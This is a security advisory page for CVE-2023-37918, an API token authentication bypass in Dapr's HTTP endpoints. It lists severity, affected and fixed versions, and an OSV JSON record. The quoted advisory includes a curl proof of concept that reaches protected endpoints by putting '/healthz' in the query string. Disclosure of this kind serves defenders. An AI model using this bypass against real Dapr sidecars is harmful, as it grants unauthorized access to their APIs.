CVE-2023-37918: Github.com/dapr/dapr Authentication Bypass Vulnerability

MODERATE
Advisory Identifier: GHSA-59m6-82qm-vqgj
CVSS 6.8
CWE-287 CWE-305
Published
Advisory Summary

CVE-2023-37918 is a MODERATE (CVSS 6.8) authentication bypass vulnerability (CWE-287: Improper Authentication) affecting Github.com/dapr/dapr libraries in the Go ecosystem. The issue involves dapr api token authentication bypass in http endpoints. Remediation is available by upgrading affected packages to version 1.11.2, 1.10.9.

CVE-2023-37918 at a Glance

CVE Identifier CVE-2023-37918
GHSA Identifier GHSA-59m6-82qm-vqgj
Severity MODERATE
CVSS v3.1 Base Score 6.8
CWE Classification CWE-287: Improper Authentication
Affected Product Github.com/dapr/dapr
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2023-37918

To remediate this vulnerability, upgrade all affected Github.com/dapr/dapr dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/dapr/dapr fixed: 1.11.2
Upgrade github.com/dapr/dapr to 1.11.2
github.com/dapr/dapr fixed: 1.10.9
Upgrade github.com/dapr/dapr to 1.10.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/dapr/dapr

How to Check if You Are Affected

To determine whether your application is affected by CVE-2023-37918, inspect your project dependencies for Github.com/dapr/dapr:

inspect dependencies for github.com/dapr/dapr

Analyze the terminal output to locate any version of Github.com/dapr/dapr in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.11.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Github.com/dapr/dapr, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A vulnerability has been found in Dapr that allows bypassing [API token authentication](https://docs.dapr.io/operations/security/api-token/), which is used by the Dapr sidecar to authenticate calls coming from the application, with a well-crafted HTTP request. Users who leverage API token authentication are encouraged to upgrade Dapr to 1.10.9 and 1.11.2. ### Impact This vulnerability impacts Dapr users who have configured API token authentication. An attacker could craft a request that is always allowed by the Dapr sidecar over HTTP, even if the `dapr-api-token` in the request is invalid or missing. ### Patches The issue has been fixed in Dapr 1.10.9 and 1.11.2. ### Details When API token authentication is enabled, Dapr requires all calls from applications to include the `dapr-api-token` header, with a value matching what's included in the Dapr's configuration. In order to allow for healthchecks to work, the `/v1.0/healthz` and `/v1.0/healthz/outbound` HTTP APIs are excluded from the API token authentication check, and are always allowed. Dapr <= 1.10.8 and <= 1.11.1 implemented the allowlisting of the healthcheck endpoints by permitting all requests whose URL contains `/healthz` to bypass the API token authentication check. The match applied anywhere in the URL, including the querystring. As a consequence, attackers were able to bypass API token authentication by including `/healthz` anywhere in the URL, including as a querystring parameter. This allowed attackers to invoke any Dapr API using HTTP, including perform service invocation. ### Proof of Concept ``` $ curl -v http://localhost:3500/v1.0/metadata * Trying ::1:3500... * Connected to localhost (::1) port 3500 (#0) > GET /v1.0/metadata HTTP/1.1 > Host: localhost:3500 > User-Agent: curl/7.74.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 401 Unauthorized < Date: Mon, 17 Jul 2023 18:13:13 GMT < Content-Type: text/plain; charset=utf-8 < Content-Length: 17 < Traceparent: 00-00000000000000000000000000000000-0000000000000000-00 < * Connection #0 to host localhost left intact invalid api token $ curl -v http://localhost:3500/v1.0/metadata -H "dapr-api-token: mytoken" * Trying ::1:3500... * Connected to localhost (::1) port 3500 (#0) > GET /v1.0/metadata HTTP/1.1 > Host: localhost:3500 > User-Agent: curl/7.74.0 > Accept: */* > dapr-api-token: mytoken > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Mon, 17 Jul 2023 18:13:26 GMT < Content-Type: application/json < Content-Length: 119 < Traceparent: 00-00000000000000000000000000000000-0000000000000000-00 < * Connection #0 to host localhost left intact {"id":"foo","actors":[],"extended":{"daprRuntimeVersion":"v1.11.1"},"components":[],"httpEndpoints":[],"subscriptions":[]} $ curl -v http://localhost:3500/v1.0/metadata?foo=/healthz * Trying ::1:3500... * Connected to localhost (::1) port 3500 (#0) > GET /v1.0/metadata?foo=/healthz HTTP/1.1 > Host: localhost:3500 > User-Agent: curl/7.74.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Mon, 17 Jul 2023 18:13:44 GMT < Content-Type: application/json < Content-Length: 119 < Traceparent: 00-00000000000000000000000000000000-0000000000000000-00 < * Connection #0 to host localhost left intact {"id":"foo","actors":[],"extended":{"daprRuntimeVersion":"v1.11.1"},"components":[],"httpEndpoints":[],"subscriptions":[]}

CVE-2023-37918 Affected Github.com/dapr/dapr Versions

2 component(s)
Fixed Versions:
1.11.21.10.9
Product / Package Ecosystem Affected Versions Fixed Version
github.com/dapr/dapr
Go
≥ 1.11.0
< 1.11.2
1.11.2
github.com/dapr/dapr
Go
< 1.10.9
1.10.9

References

Frequently Asked Questions

What is CVE-2023-37918?
CVE-2023-37918 is a security vulnerability in Github.com/dapr/dapr involving Dapr API token authentication bypass in HTTP endpoints under CWE-287: Improper Authentication.
Which Github.com/dapr/dapr versions are affected?
Affected versions include releases prior to 1.11.2, 1.10.9 across affected packages: github.com/dapr/dapr.
What version fixes CVE-2023-37918?
Upgrading to 1.11.2, 1.10.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/dapr/dapr affected?
Yes, github.com/dapr/dapr is affected in releases prior to 1.11.2, 1.10.9. Upgrade your dependency to 1.11.2, 1.10.9 or later.
What is the CVSS score of CVE-2023-37918?
CVE-2023-37918 has a CVSS v3.1 base score of 6.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2023-37918?
CVE-2023-37918 is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check Go dependencies for CVE-2023-37918?
Run the dependency tree command: 'inspect dependencies for github.com/dapr/dapr'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-59m6-82qm-vqgj",
  "modified" : "2023-07-21T20:17:36Z",
  "published" : "2023-07-21T20:17:36Z",
  "aliases" : [ "CVE-2023-37918" ],
  "summary" : "Dapr API token authentication bypass in HTTP endpoints",
  "details" : "### Summary\n\n\nA vulnerability has been found in Dapr that allows bypassing [API token authentication](https://docs.dapr.io/operations/security/api-token/), which is used by the Dapr sidecar to authenticate calls coming from the application, with a well-crafted HTTP request.\n\n\nUsers who leverage API token authentication are encouraged to upgrade Dapr to 1.10.9 and 1.11.2.\n\n\n### Impact\n\n\nThis vulnerability impacts Dapr users who have configured API token authentication. An attacker could craft a request that is always allowed by the Dapr sidecar over HTTP, even if the `dapr-api-token` in the request is invalid or missing.\n\n\n### Patches\n\n\nThe issue has been fixed in Dapr 1.10.9 and 1.11.2.\n\n\n### Details\n\n\nWhen API token authentication is enabled, Dapr requires all calls from applications to include the `dapr-api-token` header, with a value matching what's included in the Dapr's configuration. In order to allow for healthchecks to work, the `/v1.0/healthz` and `/v1.0/healthz/outbound` HTTP APIs are excluded from the API token authentication check, and are always allowed.\n\n\nDapr <= 1.10.8 and <= 1.11.1 implemented the allowlisting of the healthcheck endpoints by permitting all requests whose URL contains `/healthz` to bypass the API token authentication check. The match applied anywhere in the URL, including the querystring.\n\n\nAs a consequence, attackers were able to bypass API token authentication by including `/healthz` anywhere in the URL, including as a querystring parameter. This allowed attackers to invoke any Dapr API using HTTP, including perform service invocation.\n\n\n### Proof of Concept\n\n\n```\n$ curl -v http://localhost:3500/v1.0/metadata\n* Trying ::1:3500...\n* Connected to localhost (::1) port 3500 (#0)\n> GET /v1.0/metadata HTTP/1.1\n> Host: localhost:3500\n> User-Agent: curl/7.74.0\n> Accept: */*\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 401 Unauthorized\n< Date: Mon, 17 Jul 2023 18:13:13 GMT\n< Content-Type: text/plain; charset=utf-8\n< Content-Length: 17\n< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00\n<\n* Connection #0 to host localhost left intact\ninvalid api token\n\n\n$ curl -v http://localhost:3500/v1.0/metadata -H \"dapr-api-token: mytoken\"\n* Trying ::1:3500...\n* Connected to localhost (::1) port 3500 (#0)\n> GET /v1.0/metadata HTTP/1.1\n> Host: localhost:3500\n> User-Agent: curl/7.74.0\n> Accept: */*\n> dapr-api-token: mytoken\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 200 OK\n< Date: Mon, 17 Jul 2023 18:13:26 GMT\n< Content-Type: application/json\n< Content-Length: 119\n< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00\n<\n* Connection #0 to host localhost left intact\n{\"id\":\"foo\",\"actors\":[],\"extended\":{\"daprRuntimeVersion\":\"v1.11.1\"},\"components\":[],\"httpEndpoints\":[],\"subscriptions\":[]}\n\n\n$ curl -v http://localhost:3500/v1.0/metadata?foo=/healthz\n* Trying ::1:3500...\n* Connected to localhost (::1) port 3500 (#0)\n> GET /v1.0/metadata?foo=/healthz HTTP/1.1\n> Host: localhost:3500\n> User-Agent: curl/7.74.0\n> Accept: */*\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 200 OK\n< Date: Mon, 17 Jul 2023 18:13:44 GMT\n< Content-Type: application/json\n< Content-Length: 119\n< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00\n<\n* Connection #0 to host localhost left intact\n{\"id\":\"foo\",\"actors\":[],\"extended\":{\"daprRuntimeVersion\":\"v1.11.1\"},\"components\":[],\"httpEndpoints\":[],\"subscriptions\":[]}\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/dapr/dapr"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.11.0"
      }, {
        "fixed" : "1.11.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/dapr/dapr"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.10.9"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dapr/dapr/security/advisories/GHSA-59m6-82qm-vqgj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-37918"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dapr/dapr/commit/83ca1abb11ffe34211db55dcd36d96b94252827a"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dapr/dapr/commit/99d6799c97b79397443c8c96737c9b893126a1ae"
  }, {
    "type" : "WEB",
    "url" : "https://docs.dapr.io/operations/security/api-token"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dapr/dapr"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287", "CWE-305" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-07-21T20:17:36Z",
    "nvd_published_at" : "2023-07-21T21:15:11Z"
  }
}